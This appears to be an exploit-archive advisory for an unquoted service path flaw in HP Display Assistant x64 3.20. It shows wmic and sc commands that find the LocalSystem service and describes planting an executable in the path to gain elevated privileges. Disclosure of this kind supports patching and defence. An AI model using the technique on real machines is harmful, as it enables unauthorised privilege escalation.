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HP Display Assistant x64 Edition 3.20 Unquoted Service Path

HP Display Assistant x64 Edition 3.20 Unquoted Service Path
Posted Nov 8, 2020
Authored by Julio Avina

HP Display Assistant x64 Edition version 3.20 suffers from an unquoted service path vulnerability.

tags | exploit
MD5 | 78a551d2392558e9768a2feaa265273d

HP Display Assistant x64 Edition 3.20 Unquoted Service Path

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# Exploit Title: HP Display Assistant x64 Edition 3.20 - 'DTSRVC' Unquoted Service Path
# Date: 2020-11-08
# Exploit Author: Julio AviƱa
# Vendor Homepage: https://www.portrait.com/
# Software Link: https://www.portrait.com/dtune/hwp/enu/
# Software Version: 3.20
# File Version: 1.0.0.1
# Tested on: Windows 10 Pro x64 es
# Vulnerability Type: Unquoted Service Path


# 1. To find the unquoted service path vulnerability

C:\>wmic service where 'name like "%DTSRVC%"' get name, displayname, pathname, startmode, startname

DisplayName Name PathName StartMode StartName
Portrait Displays Display Tune Service DTSRVC C:\Program Files (x86)\Common Files\Portrait Displays\Shared\dtsrvc.exe Auto LocalSystem

# 2. To check service info:

C:\>sc qc "DTSRVC"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: DTSRVC
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 1 NORMAL
NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Common Files\Portrait Displays\Shared\dtsrvc.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : Portrait Displays Display Tune Service
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem


# 3. Exploit:

A successful attempt to exploit this vulnerability requires the attacker to insert an executable file into the service path undetected by the OS or some security application.
When restarting the service or the system, the inserted executable will run with elevated privileges.
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